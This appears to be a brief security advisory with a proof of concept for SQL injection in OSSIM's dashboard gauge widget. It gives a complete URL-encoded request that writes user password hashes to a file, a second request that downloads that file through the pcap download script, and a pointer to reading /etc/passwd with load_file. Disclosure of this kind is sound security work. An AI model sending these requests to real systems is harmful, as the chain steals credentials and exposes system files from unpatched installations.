By sending a serialized array with a SQL query in the type field, it's possible to execute an arbitrary SQL query.

POC === This request will dump user password hashes to a file: /ossim/dashboard/sections/widgets/data/gauge.php?&type=alarm&wtype=blah&asset=1&height=1&value=a%3A1%3A%7Bs%3A4%3A%22type%22%3Bs%3A67%3A%22pass+from+users+INTO+OUTFILE+%27%2Ftmp%2F10.0.0.123_pass_tshark.pcap%27--+-%22%3B%7D The file containing the output can then be retrieved with the following request: /ossim/pcap/download.php?scan_name=pass&sensor_ip=10.0.0.123 It's also possible to read the contents of any file readable by the mysql user by using mysql's load_file function. For example, changing the request to something like select load_file('/etc/passwd') .
